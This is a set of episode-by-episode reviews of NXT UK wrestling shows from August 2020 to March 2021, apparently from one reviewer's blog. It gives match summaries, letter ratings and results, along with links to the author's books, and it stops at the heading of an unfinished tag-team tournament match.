NXT UK
Date: March 4, 2021
Location: BT Studios, London, England
Commentators: Andy Shepherd, Nigel McGuinness

It’s time for a special show with a huge main event. This week the Women’s Title is on the line again as Kay Lee Ray defends against Meiko Satomura in what sounds like a final boss fight (because that’s an awesome/appropriate nickname). I’m not sure how I see it going but it would be a bit un-NXT to have someone pop in and win the title in her first major match. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video looks at the Women’s Title match with various main roster and NXT women giving their picks.

Opening sequence.

Sam Gradwell vs. Ilja Dragunov

Gradwell gets in a slap to the face and dodges away, only to get taken to the mat with a head and arm clutch. That’s broken up with Gradwell going for the arm but walking straight into a big boot. Gradwell is busted open but he is still able to catch Dragunov on top and knock him to the floor. Back in and Gradwell gets two off a shot to the face but has to check his busted mouth.

The butterfly suplex sets up a chinlock until Dragunov fights up and stares him down. A hard headbutt rocks Gradwell and sets up the rolling German suplexes, followed by an enziguri to rock Gradwell again. The top rope backsplash looks to set up Torpedo Moscow….which only hits an exposed buckle. Dragunov is fine enough to slip out of a fireman’s carry though and the hard elbows to Gradwell’s head are good for the stoppage at 8:07.

Rating: C. These two beat each other up well enough as I’m rather surprised at how much better Gradwell has gotten since returning. The intensity is there and it is making for an interesting story. Then there is Dragunov, who is a different kind of intense and has to be going somewhere with his recent near insanity streak.

Post match Dragunov keeps unloading with the elbows until the referee reverses the decision. Dragunov goes after the referee before snapping back to reality and looking at his hands. Dragunov is near tears as he leaves on his own.

Teoman (Lucky Kid) tells us that his name is Teoman and he is coming next week.

Xia Brookside has Nina Samuels bring her and Aleah James an apple and tea. Nina spikes the tea but Brookside takes the wrong one, meaning the frustration grows again.

It’s time for Supernova Sessions with Noam Dar, who reads some nice statements about himself. Tyler Bate is the guest this week and Dar mocks him for looking young. Bate is proud of his accomplishments and mentions being a vegan. Therefore, Dar has a gift for him: a lot of broccoli and some lettuce, which Bate enjoys. Bate doesn’t feel bad about losing to A-Kid because you only lose when you don’t do. Dar says Bate should face Dave Mastiff next week, which Bate will do, assuming it is under Heritage Cup rules. He is no one’s doormat and wants the funky music played.

Ben Carter was training at the Performance Center this week and talks about how awesome it is.

Video on Aleah James, who was inspired by Melina and Mickie James.

Isla Dawn uses an Ouija board, crystal ball and tarot cards for an unexplained reason.

Kenny Williams/Amir Jordan vs. Oliver Carter/Ashton Smith

Williams rolls away from Carter’s wristlock to start and they miss a few charges each. Smith comes in to run Williams over and takes him down again with a judo throw. Back up and a crossbody sets up a headlock but it’s off to Jordan in a hurry. That goes badly for him as well as Smith forearms him in the head, followed by Carter dropping him face first onto Smith’s raised boots. A running clothesline gives Smith two and it’s back to Carter for some kicks to the face.

Jordan manages an enziguri though and the hot tag brings in Williams to clean house. A Code Red gives Williams two on Smith as everything breaks down. Williams and Jordan hit stereo dives to the floor but Smith takes Williams down with a faceplant back inside. Carter flips Smith into a 450 for two on Jordan with Williams making the save. Williams dives onto Smith and it’s Jordan trading rollups with Carter. With Jordan in trouble, Williams turns a rollup over and Jordan gets the pin at 8:11.

Rating: C+. Not too bad here with both teams getting to showcase themselves. The problem here is both of them are on the lower tier of tag teams around here and they both needed that breakout match. I’m not sure if this was it, but winning a match on TV is always going to help things out a bit.

Video on Jinny/Joseph Conners vs. Piper Niven/Jack Starz. Piper wanted to fight them both on her own but had to get a partner so Starz is filling in for the first ever mixed tag in NXT UK history.

Amir Jordan and Kenny Williams are happy with their win and are ready to keep going against Flash Morgan Webster/Mark Andrews next week.

Women’s Title: Kay Lee Ray vs. Meiko Satomura

Satomura is challenging and of course we get the Big Match Intros. The fight over a lockup doesn’t go anywhere so Satomura kicks the leg out and grabs the armbar. Back up and Ray slaps on a hammerlock but Satomura knocks her outside with ease. Ray scores with some chops back inside and gets two off a dropkick. Satomura is fine enough to slap on the STF, with Nigel freaking out on commentary.

The rope grab gets Ray out of trouble so Satomura kicks away at the leg. Ray is fine enough to pull her down into a Koji Clutch until Satomura stacks her up for two and the break. Back up and Satomura kicks her down in the corner without much trouble, only to have Ray slide to the floor and trip her down. A hanging DDT off the apron plants Satomura but she’s back up for a slugout on the apron.

Satomura’s Death Valley Driver onto the apron knocks them both silly on the floor. They both make the count and it’s a Saito suplex for two more on Ray. A tornado DDT gives Ray the same but she pulls Satomura into some kind of a triangle choke. Satomura finally makes her over to the rope for the break and hits another Death Valley Driver for another two.

Ray gets her knees up to block a frog splash and the Gory Bomb connects for the next near fall. Ray’s knee is banged up so the Swanton takes too much time. Satomura loads up the Scorpio Rising but Ray grabs the leg and pulls her into the Gory Bomb…which is countered into a sunset bomb for two more. Ray is right back up though and now the Gory Bomb retains at 16:47.

Rating: B+. These two beat the heck out of each other and it even exceeded the hype they had built up. Ray winning is the right call, as it makes her feel like the next level champion by beating the legend. That’s a great way to go with these two and they had one of the better matches in NXT UK history on the way there. Awesome stuff and they both held up their end.

Post match Ray helps Satomura up and bows in respect before posing to end the show without going violent.

Overall Rating: B. This was a great show with nothing bad and a pretty incredible main event to wrap it up. They have things set up going forward but also had this show to go with it. NXT UK may be the best show going at the moment because the wrestling is good and the pacing is even better, which isn’t something many other shows can get right. Keep this stuff up, because it’s great.

Results

Sam Gradwell b. Ilja Dragunov due to a reversed decision

Kenny Williams/Amir Jordan b. Oliver Carter/Ashton Smith – Rollup to Carter

Kay Lee Ray b. Meiko Satomura – Gory Bomb

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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NXT UK
Date: January 28, 2021
Location: BT Studios, London, England
Commentators: Nigel McGuinness, Andy Shepherd

Opening sequence.

Here’s Jordan Devlin for a chat. He talks about issuing an open challenge and wanting to be the best wrestler ever under 205lbs. Cue Trent Seven to say he thinks Devlin needs a challenger so he’ll get under 205 and come for the title. Devlin says come see him after losing a lot of weight so Seven drops him in a hurry. This was really quick.

Here are last week’s results if you need a recap.

Kay Lee Ray wants the best in the world….and WWE has officially signed Japanese legend Meiko Satomura. Yeah I’d think that works.

Ben Carter vs. Sam Gradwell

Hold on though as Gradwell has something to say. He talks about how impressive it is that Carter made it here but being from Jersey isn’t all that impressive. Jersey is a place with more cows than people and it doesn’t even make an atlas. Oh and he doesn’t like Carter’s P.E. shorts. Gradwell works on the arm to start but Carter flips out and hits a dropkick for a break. Some flips out of the corner set up another dropkick to put Gradwell on the apron but he’s right back in with a shot to the head.

Gradwell forearms him in the back of the head for three straight near falls and we hit the chinlock. Carter jawbreaks his way to freedom though and makes the comeback with some running forearms. A superkick puts Gradwell on the floor and there’s a quick dive to send Gradwell back inside. Gradwell heads to the other side of the floor and gets taken down by a running flip dive. Back in and Gradwell gets two off an STO but Carter is back up with a standing Lionsault into a Nightmare on Helm Street. The frog splash finishes Gradwell at 7:18.

Rating: C. I like Gradwell more every time I see him but this was all about getting Carter back up after he lost the title match in his debut. Carter is clearly someone they see a lot in and it makes sense to give him a win over someone as intense as Gradwell. It might not have been a classic, but at least they did everything right.

Noam Dar gives Sha Samuels some advice we can’t hear.

Sha Samuels vs. Josh Morrell

Samuels powers him into the corner to start and gives him a pat on the cheek, only to get armbarred down. Morrell flips out of a wristlock so Samuels hits him in the face. There’s a running forearm to drop Morrell again and there’s a backdrop to keep him in trouble. Morrell is able to avoid an elbow and a charge in the corner before dropkicking Samuels’ knee out. A standing corkscrew moonsault gets two on Samuels but he avoids a crossbody. Samuels grabs a spinebuster into a seated cobra clutch for the tap at 5:13.

Rating: C-. Samuels is an interesting case as he isn’t exactly the most thrilling guy but you can tell that he has been around for a long time and knows how to do his thing rather well. That’s all you need in some cases and if he becomes a bigger deal, great. Otherwise, you have a perfectly acceptable midcarder.

Ilja Dragunov isn’t sure what happened against Jack Starz. Sam Gradwell walks by and Dragunov doesn’t look happy.

Rampage Brown is happy with his time in NXT UK so far. Gallus comes up and a match with Joe Coffey is teased.

Pretty Deadly vs. Mark Andrews/Flash Morgan Webster vs. Ashton Smith/Oliver Carter vs. The Hunt

Elimination rules, no seconds at ringside, and the winners get a future Tag Team Title shot. Sam Stoker immediately tags in Smith so Andrews can grab a rollup for two. Webster comes in to get two off a sunset flip so it’s off to Carter, who gets taken down with a hurricanrana. Gallus is watching (with popcorn) as Carter suplexes Andrews for two. Lewis Hawley is tagged in but can’t tag out immediately, meaning Carter can clothesline him. The Hunt comes in for stereo German suplexes on Pretty Deadly and everything breaks down.

We settle down to Primate suplexing Smith for two and then slamming him hard. Wild Boar spears Carter off the apron to break up the tag possibilities but Smith gets over to Webster to pick up the pace. Webster and Andrews hit stereo dropkicks to put Pretty Deadly on the floor but Smith tags himself in. That means the Tower of Doom brings down Stoker and Smith for the huge crash.

Carter uses Smith’s back as a springboard to moonsault onto the pile at ringside but the camera moves so fast that it didn’t seem to end well. Back in and Smith hits a Falcon Arrow for two on Hawley, followed by Carter superkicking Primate out of the air. Everyone is down for a bit and Gallus is rather pleased. Primate comes in to go after Smith in the corner but gets caught in an electric chair with Carter adding a springboard cutter for the elimination at 11:59.

Hawley uses the distraction to jump Carter from behind but Smith gets the tag and starts cleaning house. It’s quickly back to Carter, who hits a pop up 450 for two on Stoker. A quick tag brings in Andrews for a sitout bulldog and it’s a poisonrana with a running knee at the same time (French Toast At 2am for the best named move I’ve heard in years.) to get rid of Smith and Carter at 15:14.

We settle down to Hawley elbowing Webster in the corner but a quick crawl through the legs allows Andrews to come in and strike away. A double Pele kick gets two and Stoker breaks up a cover off a hurricanrana to Hawley. Back up and Hawley kicks out Andrews’ knee so it’s a one legged giant swing into a half crab from Stoker. The Figure four goes on so Webster shoves Hawley into the hold for the break.

Stundog Millionaire connects with Stoker to give Webster two and Andrews hits a slingshot hurricanrana to take Hawley out on the floor. Webster’s top rope flip dive takes both of them out but the melee lets Eddie Dennis sneak in with a chair to Andrews’ knee. Back in and a Hart Attack (neckbreaker instead of a clothesline) finishes Andrews at 22:14 to give Pretty Deadly the title shot.

Rating: B+. This was all action throughout and it was a heck of a match as a result. Pretty Deadly were the fairly obvious winners but that didn’t make for a boring match. I really liked this with Smith and Carter getting a great rub out of the thing, with that electric chair cutter looking great. It was Pretty Deadly’s match, but at least everyone else looked good in the process.

Gallus comes out for the staredown to end the show.

Overall Rating: B. The main event carried this thing and that’s all the show needed. Carter did well in the opener and Samuels is someone who could do fine in the midcard. Throw in a long and action packed main event and you have a rather nice evening. Also, it’s another case of not having the big names around and still having a good show. That’s more than a lot of promotions can say.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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NXT UK
Date: January 14, 2021
Location: BT Studios, London, England
Commentators: Nigel McGuinness, Andy Shepherd

It’s title week here as Walter will be defending the United Kingdom Title against Heritage Cup holder A Kid. This isn’t the kind of match that they can do very often but for a one off special, we could be in for something very good. Other than that, it can probably be anyone’s guess around here. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of A Kid winning the Heritage Cup and wanting the best, so he challenged Walter for the UK Title. Walter finds this to be rather stupid.

Opening sequence.

Joe Coffey vs. Ed Harvey

Harvey is better known as Sha Samuels. Harvey tells him to bring it and catches Coffey’s running crossbody. With that not working, Coffey hits him in the face and nails a clothesline to the floor. Hold on though as Harvey grabs the mic and says he isn’t here to be Ed Harvey, because everyone knows he is Sha Samuels. Well that’s a different way to go. Back in and Samuels hammers away with forearms before starting on the arm.

Coffey’s rollup gets two but Samuels kicks him into the corner. There’s a kick to Coffey’s back and we hit the chinlock. Coffey fights up and hits a backdrop, followed by an overhead belly to belly. The slugout goes to Coffey but Samuels pulls Coffey’s spinning middle rope crossbody out of the air. Coffey flips out of a sleeper and the high crossbody gives him two. Samuels is sent hard into the corner and All The Best For The Bells finishes for Coffey at 6:40.

Rating: C+. Now that’s how you debut someone, as these two beat the heck out of each other and Samuels looked like a player in a hurry. This was all about two big guys hitting each other hard for a few minutes until one of them couldn’t get up. It’s no classic, but it was a nice debut and the mid-match name change was a pretty cool was to go. Samuels is certainly a name in British wrestling so this was a smart signing for NXT UK.

Pretty Deadly interrupted Sid Scala earlier today and were placed in a four way elimination match for the #1 contendership. In two weeks, they face Ashton Carter/Oliver Smith, the Hunt and Flash Morgan Webster/Mark Andrews. Nice job of giving them a bit of a challenge before what should be an obvious win.

Rampage Brown was lifting earlier when Dave Mastiff showed up to lift the same weight and say that Brown needed a challenge. Brown seems intrigued.

Sam Gradwell vs. Tyler Bate

Gradwell rants about Bate becoming a yogurt living freak during his entrance. Bate shrugs off an armbar attempt and takes him down into a rollup for two. A running crossbody gets the same and there’s an armdrag into an armbar to put Gradwell down for a bit. That’s broken up and Gradwell hammers away, with a big right hand getting two.

The nerve hold goes on for a bit before Gradwell just rips at his face for a change. Bate’s sunset flip is broken up with a grab of the ear but Bate slugs away. A suplex sends Gradwell flying and the running shooting star press gets two. The Tyler Driver 97 is broken up and Gradwell blasts him with a clothesline. Bate shrugs it off and hits the Tyler Driver 97 for the pin at 7:23.

Rating: C. I’m curious about where this stuff with Bate is going and he has altered his in-ring style just enough that you know something has changed. That is a difficult, as well as risky, change to make but Bate is talented enough to make it work. Gradwell has impressed me a bit as well, as he gets your attention and feels a bit out there, unlike some wrestlers where they tell you how out there they are and leave it at that.

Ashton Smith and Oliver Carter are told about the four way #1 contenders match and seem rather pleased.

Ilja Dragunov comes up to Jack Starz and issues a friendly challenge, which Starz happily accepts.

Here are Jinny and Joseph Conners for a chat. Jinny brags about being the new #1 contender and says that Conners deserves a bit of credit. Why are they working together? In short, because Jinny has money. Anyway, Jinny is going to become champion next week so here’s Kay Lee Ray to interrupt. They argue over which of the two is championship material, with Jinny saying she will reign next week.

Eddie Dennis talks about his issues with Flash Morgan Webster and Mark Andrews, who now have to deal with the Hunt. Dennis seems to like the sound of that and the Hunt agrees.

United Kingdom Title: Walter vs. A Kid

Only Walter’s title is on the line so we’re under regular rules. Kid circles around and tries some kicks at the leg but Walter takes him down by the leg instead. Back up and Kid manages to drive him into the corner for a chop and things get a bit more serious. A headlock takeover has Kid down again but he headlocks his way to freedom. More kicks to the leg have Walter limping a bit and Kid pops in a few shots to the chest as well.

Walter’s arm is tied over the rope as some frustration is setting in. Kid actually kicks him down and hits a few kicks to the face, which make Walter growl at him. The huge chop cuts Kid off but the leg gives out and Walter falls as well. Walter slaps on a crossface before switching to a neck crank as the size is giving Kid trouble. Kid tries to fight back so Walter lays him on the top and hits a loud chop. The sleeper on the rope is countered into a dragon screw legwhip over the apron and Walter is down again.

More strikes to the back just make Walter hit him in the face before a shotgun dropkick just crushes Kid. The powerbomb (with Walter only bridging with one leg) connects for two and Walter tells him to bring it. The big chop is countered into a Crossface but Walter takes him outside for an apron powerbomb. Back in and Walter’s sleeper doesn’t work so he just blasts Kid with a pair of clotheslines to retain at 13:51.

Rating: B. This was an interesting change of pace as Walter’s matches have a tendency to be hard hitting, violent tests of endurance but this was much slower paced with Kid trying to cut him down. It worked very well as Walter was getting frustrated at someone who wrestled a more traditional match. Kid looked very good here despite the huge size difference and it’s not like losing to Walter is going to hurt anything.

Walter gives Kid a respectful look to end the show.

Overall Rating: B-. The main event is what matters here and it continues to give me hope that Jordan Devlin is the one to take the title off of Walter. That is a direction they could go and it should work well if they go there. The rest of the show was just ok for the most part, but Walter in the ring is enough to make this mean something. They built up a bit for the future as well, meaning the classic NXT formula continues.

Results

Joe Coffey b. Sha Samuels – All The Best For The Bells

Tyler Bate b. Sam Gradwell – Tyler Driver 97

Walter b. A Kid – Lariat

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

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IMG Credit: WWE

NXT UK
Date: November 19, 2020
Location: BT Studios, London, England
Commentators: Nigel McGuinness, Andy Shepherd

It’s title night as Kay Lee Ray is defending the Women’s Title against Piper Niven but this time it’s a Falls Count Anywhere match. Other than that we have some interesting things going on around here and hopefully some of that leads into some better stories as we move forward. Let’s get to it.

Here are last week’s results if you need a recap.

We open with both Ray and Niven promising to leave as champion. Short and to the point.

Opening sequence.

Joe Coffey vs. Sam Gradwell

They fight over the lockup to start but the grappling doesn’t get either of them anywhere. Gradwell knees him in the ribs and tries to tie up the arm. Coffey is right back with a running dropkick to Gradwell’s braced knee, which is then wrapped around the rope. Gradwell tries to take him to the mat but gets hit in the knee again. A piledriver attempt is blocked so Coffey knocks him to the mat instead.

Coffey stands on Gradwell’s knees and slaps him in the face but Gradwell is right back to slug away. A Downward Spiral gives Gradwell two but Coffey (whose eye got busted open somewhere in there) slugs away to slow him down again. The running knee in the corner rocks Gradwell and All The Best For The Bells finishes him at 7:03.

Rating: C. These two beat each other up rather well and that’s where Coffey tends to shine. He can brawl with some of the best of them around here and it’s a smart move to keep him looking strong around here for a bigger match down the line. Then you have Gradwell, who needs to be completely rebuilt after not having much of a start in the first place. This was a good first step as he put up a solid fight.

Sid Scala is trying to announce a Cruiserweight Title match for next week but Jordan Devlin cuts him off, saying that Scala and Johnny Saint should be on their knees, thanking him for appearing. Kenny Williams and Amir Jordan come up to say they both want a shot. Devlin says figure out a challenger and come find him.

Ilja Dragunov talks about how he was going to have to be dragged out of the ring against Walter and it was going to be a war. That’s rather accurate and the highlights of the match show just how brutal it got.

Alexander Wolfe gets annoyed at Gallus celebrating Joe Coffey’s win so Coffey says he’s ready to fight in the ring or in the parking lot. Wolfe seems interested.

Pretty Deadly vs. Oliver Carter/Ashton Smith

Carter and Smith have new gear and music. Smith works on Stoker’s arm to start but it’s off to Howley anyway. That’s fine with Smith as he works on Howley’s arm instead so it’s already back to Stoker, who gets in some arm cranking of his own. Smith powers him up and onto the corner, followed by a suplex for two. Carter comes in for something like Private Party’s Silly String into a splash for two more on Stoker.

Howley tries to sneak back in and is armdragged right down, followed by a crossbody to give Carter two more. The referee has to get Smith out of the ring though, allowing Stoker to trip Carter into the buckle for a nice double team. The chinlock goes on as commentary tries to figure out which movie stars Pretty Deadly most resemble. Stoker is back in for a running elbow to the face in the corner and the armbar goes on again.

Howley comes in to elbow Smith but Carter crawls over to him for the hot tag anyway. House is cleaned in a hurry and a Blue Thunder Bomb gets two on Howley. Everything breaks down and a superkick drops Howley. Stoker puts the foot on the rope though and hits Smith with an uppercut, allowing Howley to grab a rollup with trunks for the pin at 8:29.

Rating: C+. Pretty Deadly is rapidly becoming a nice little heel team and that’s a good place for them to be. They’re not ready for the top of the card yet but I could very easily see them taking the Tag Team Titles one day. I still can’t remember which one is which, but even NXT UK made a joke out of that last week. The pretty boy heel gimmick might not be the most original gimmick, but it is one you see so often because it’s always going to work.

A ticked off Mark Andrews yells about Eddie Dennis costing him eight months of his career. Flash Morgan Webster says Eddie broke fifteen years of their friendship so now they’re breaking him.

Various wrestlers talk about Rampage Brown. They’re making him feel like a big deal in a hurry.

Levi Muir vs. Saxon Huxley

Huxley is rather aggressive to start and slaps on a quickly broken headlock. Muir gets knocked into the corner and there’s a face wash to make it worse. We hit the neck crank but here’s Jack Starz to cheer for Muir. That starts a comeback but Huxley punches him out of the air in a hurry. A hard running clothesline finishes Muir at 3:33.

Rating: C-. I’m still not much on Huxley but this was the best performance he’s had so far. Huxley has some angry charisma and looked like a monster here, though I’m going to need to see more of him to be convinced. Muir is in the same place, though his pretty good physique should be enough to keep him around for the time.

We look at A-Kid and Trent Seven making it to the Heritage Cup finals. They’re both ready to win to prove themselves.

Amir Jordan gets a Cruiserweight Title shot against Jordan Devlin next week.

Women’s Title: Piper Niven vs. Kay Lee Ray

Ray is defending and Falls Count Anywhere. They slug it out in the aisle before the bell with Niven getting the better of things. Niven takes her inside for the opening bell so Ray bails straight to the floor again. That doesn’t work well here as Niven runs her over and gets an early two. It’s time to bring out the weapons early on but Niven settles for whipping her into the barricade instead. A sunset flip over the barricade gets two on Niven but she gets in a chair shot to cut the champ off.

Ray is back with the bell which she pelts at Niven’s head. Since that might cause a bad case of death, Niven slips away and it’s a spare turnbuckle to the knee to take Ray down again. Ray kicks her way out of a leglock attempt and they head back inside, where the knee is fine enough for a superkick. The Gory Bomb doesn’t work though and Niven hits a headbutt to put them both down. Ray gets in some kendo stick shots before wrapping a chain around Niven’s face.

That earns her a spinebuster onto a trashcan for two and they head outside again. This time Ray sends her face first into the floor for two more but Niven is right back with a suplex to drop Ray again. Cue Jinny to jump Niven but she’s gone just as fast, leaving Niven to grab a backslide for two. They head backstage for a change with Niven blasting her over the head with a framed poster. Since it’s just a framed poster, Ray is back with a guitar shot for two more.

The Gory Bomb onto a chair is countered into a Piper Driver onto the chair for another two. You would think a finisher onto a chair and then onto concrete would be good for a pin here but they don’t work that way anymore. Niven whips out a pipe and blasts Ray’s knee again but Ray whips her into an anvil case. A backdrop sends Ray onto the cases though and Niven is ready to drive her through a table. Cue Jinny again to chair Niven through said table, with Ray landing on top to retain at 14:58.

Rating: C+. They had a good fight though Niven looks like the worst choker in all of WWE at the moment. Jinny interfering does help, but they lost me on that Piper Driver through the chair only getting two. If that’s not enough to finish Ray, what else was going to? Ray’s title reign is impressing me, and a showdown with Xia Brookside in a big underdog win could be a great thing to see. What we got here worked, but it did go on a little longer than needed.

Overall Rating: B-. NXT UK does something special by taking a bunch of people who aren’t that well known and turning them into a pretty nice roster all things considered. We got a good main event, some stuff set up for later and some teases for things that are going to be coming at some point. Solid show here as NXT UK is back to where it was before everything stopped.

Results

Joe Coffey b. Sam Gradwell – All The Best For The Bells

Pretty Deadly b. Oliver Carter/Ashton Smith – Rollup with trunks to Smith

Saxon Huxley b. Levi Muir – Clothesline

Kay Lee Ray b. Piper Niven – Pin after Jinny knocked Niven through a table

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

NXT UK
Date: November 5, 2020
Location: BT Studios, London, England
Commentators: Andy Shepherd, Nigel McGuinness

It’s the week after the big showdown and I’m not sure where to go from here. At the end of the day, Ilja Dragunov and Walter beating the fire out of each other isn’t exactly easy to follow and I’m curious to see where it goes. The Heritage Cup is still running around as well so they have a few things to do. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of last week’s epic title match with Walter surviving Dragunov to retain. They were both banged up after the match.

Opening sequence.

Gallus vs. Pretty Deadly/Sam Gradwell

Mark Coffey throws Sam Stoker around to start so Wolfgang comes in to work on the arm. Stoker’s dropkick allows the tag off to Lewis Howley, who is taken down by the arm. Joe Coffey gets to come in and crank on the arm as well with Howley not even being able to nip his way up to freedom. Back up and Gradwell gets the tag so Joe slaps on a headlock in a hurry. Everything breaks down for a bit so Gallus clears the ring without much trouble. We settle down to Gradwell slapping Joe and diving over for the tag back to Howley.

Wolfgang comes in but gets caught in the wrong corner. He doesn’t seem to mind as house is cleaned in a hurry, allowing the tag back to Mark for a headlock to Stoker. Back up and Stoker grabs a DDT for two on Mark and it’s Howley coming in to work on the arm. Gradwell is back with a quickly broken chinlock but a little too much trash talk lets Mark get over for the hot tag to Joe. That means even more of the house can be cleaned as everything breaks down. All The Best For The Bells finishes Gradwell at 9:47.

Rating: C. This was the welcome home match for Gallus and that worked out just fine. It also seemed to be the trio being full on faces, which they were around the time of the hiatus but it’s nice to get a reminder. They are good as a trio and that is the kind of star power that you need around here. Good enough match here, though little more than a symbol.

We look at how A-Kid and Noam Dar advanced to the Heritage Cup Tournament semifinals.

We look back at the Hunt turning on Mark Andrews and Flash Morgan Webster while aligning with Eddie Dennis.

Earlier today, Rampage Brown came to the NXT UK Performance Center and seemed impressed.

Jinny vs. Aleah James

Jinny shoves her into the corner to start so James shoves her right back. James’ armbar only lasts so long as Jinny takes her into the corner for a stomping. A dropkick works a bit better for James but another kick is blocked and Jinny puts on a straitjacket choke with her knees in the back. That’s broken up so Jinny hits a rolling Liger kick for the pin at 3:47.

Rating: D+. Another match designed to make Jinny look good and it worked well enough. I’m not sure how far she is going to go while Kay Lee Ray is Women’s Champion but it makes a lot of sense to build someone else up. The fashionista thing is little more than a nickname as she doesn’t do much with fashion, and that might be the best course for her.

Post match Jinny grabs the mic and says that’s the killer instinct she can have. People like Piper Niven need to learn that so here’s Niven to interrupt. Hold on though as Kay Lee Ray comes in and slides a chair inside. She wants to see the two of them fight so Niven headbutts Jinny down and Michinoku Drivers James. Jinny is planted onto the chair and it’s Niven chasing Ray to the back.

Eddie Dennis, with the Hunt, talks about Mark Andrews exploiting him for years. Flash Morgan Webster is no better and now it’s payback time. What an odd combination which seems to work.

During the break, Niven caught Ray and took the title from her. I could go for a more aggressive Niven getting the title shot.

In two weeks, Niven gets a title shot.

Video on Rampage Brown.

Here’s what’s coming next week.

We go over the Heritage Cup rules.

Heritage Cup Semifinals: Noam Dar vs. A-Kid

They start rather fast with the rolling grappling into a standoff. Dar gets him down with a wristlock on the mat but Kid is right back with a headlock takeover. Back up and Dar sends him outside as the first round ends. Round two begins with an exchange of snapmares until Kid takes him down by the wrist. Dar is back up with a shot to the leg before going right back to the arm. The very spinning backslide gives Dar two but Kid reverses into a Crossface until time expires.

Round three begins with Dar hitting the stall button to take away the momentum in a smart move. Dar takes him down with some more strikes though and nails a running forearm to the back of the head for two. Some more shots to the head set up an Oomaplata to make Kid tap at 2:04 of the third round (9:27 total).

Dar stays on the arm to start round four and it’s time to pick the Kid apart. Some kicks and knees have Kid down but Dar talks a little trash, allowing Kid to take him down and bridge into a rollup to tie the match at one fall each at 1:27 of the round (11:42 total). Kid strikes him down to start round five but gets sent to the floor so Dar can kick the leg out. Dar follows him to the floor for a kick to the chest but Kid kicks him down for nine. Back in and Kid hits a running kick to the chest for two so it’s a high crossbody for the same. They go with the rapid fire slugout until the round ends.

It’s an exchange of kicks to the head to start round six and then it’s another pinfall reversal sequence. Kid’s kick to the ribs is blocked though and it’s a discus elbow to the face. The Nova Roller doesn’t work though as Kid pulls him down into the Rings of Saturn with his legs to finish Dar at 2:12 of round six (18:08 total).

Rating: B. This was a different kind of match as they were almost carving each other up with the strikes and submissions. That made it more of a match where they were trying to survive and catch the other and that worked out well. Kid is starting to shine like a big deal and if he happens to win a title as a stepping stone, good for him.

Overall Rating: C+. The main event is certainly the best part but this was a pretty skippable show otherwise. It’s certainly a watchable show though and at less than an hour, it’s a completely easy sit. One place where NXT UK needs some work are the shows where they don’t have the heavy hitters included and that was the case again here. Pretty good, but nothing you need to see.

Results

Gallus b. Pretty Deadly/Sam Gradwell – All The Best For The Bells to Gradwell

Jinny b. Aleah James – Rolling Liger kick

A-Kid b. Noam Dar 2 to 1

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

NXT UK
Date: August 6, 2020
Host: Andy Shepard

It’s more of the same around here as the vault stays wide open. That usually doesn’t mean much with this show as they have to be running out of interesting things to show. I’m not sure if WWE is ever going to do anything about that as this show isn’t very high on their list of priorities, but it is still working well enough at the moment. Let’s get to it.

Andy does his usual welcome.

Kenny Williams takes us back to NXT UK, July 24, 2019.

Kenny Williams vs. Noam Dar

Grudge match after a few weeks of issues. Feeling out process to start with Dar taking him down by the arm and grabbing a front facelock. That’s escaped in a hurry for a standoff and some nice applause. They grapple a bit more until Dar tries a school boy, only to have Williams be ready for it and ruffle his hair. Dar bails to the floor and catches Williams with a shot to the head to take over for real this time.

Vic thinks punching Williams in the face to take over was the turning point of the match as we hit the chinlock. Williams gets back up and hits a superkick to start the comeback. Dar is sent outside for the suicide dive and a top rope back elbow to the face keeps Dar in trouble. The springboard spinning crossbody misses though and Dar grabs a fisherman’s buster for two.

The ankle lock is broken up and Williams nails a rebound lariat for a double knockdown. Williams tries to hit the ropes but gets pulled down into the kneebar. That’s broken up as well in a bit of a surprise and Williams loses his shoe. With the referee getting rid of it, Dar kicks him low and nails the Nova Roller for the pin at 10:10.

Rating: C+. I liked this one more than I was expecting to as Williams looks to have the skills to go somewhere and Dar feels like a star. This was a good way to continue the feud and I wouldn’t complain about seeing them fight again. If nothing else, this was a good way to have a story going without a title, which the smaller shows tend to be a lot better at than the major shows.

Kay Lee Ray talks about her reign becoming even longer during the lockdown. Her record will continue when things are back to normal and she will prove herself again.

Toni Storm talks about her history with Dakota Kai and sends us to NXT UK, November 7, 2018.

Toni Storm vs. Dakota Kai

They lock up to start with Kai driving her into the corner for a clean break. A handshake seems to suggest that things are ok but they both try kicks to the ribs, both of which are caught. Kai kicks her down for two but Storm is right back with an uppercut as we hear about Storm’s time in Japan. An STF goes on for a long time until Kai makes the rope and gets back up for another slugout.

Stereo headbutts give us a double knockdown but Kai is there with two more kicks. A snap German suplex sends Kai into the corner but she runs to the other corner for a kick to the head. The bicycle kick rocks Storm, who shrugs it off for some running knees in the corner. Storm Zero finishes Kai at 7:17.

Rating: C. The ending wasn’t exactly in doubt as Kai never wins anything and Storm is likely to be one of the big stars of the division. Storm has some of the best star power I’ve seen in a good while and it makes sense to have her win in the first match. Just get her some competition though, as it’s not like there isn’t a full tournament roster to pick from.

They shake hands post match.

Sam Gradwell says you might not remember him because he has been gone with knee injuries but he’s back. The storm is coming to NXT UK.

The Grizzled Young Veterans talk about returning to Zack Gibson’s home in Liverpool and moving to the top of the division. Here they are dealing with potential spoilers from NXT UK, January 9, 2019.

Tag Team Title Tournament Semifinals: Flash Morgan Webster/Mark Andrews vs. James Drake/Zack Gibson
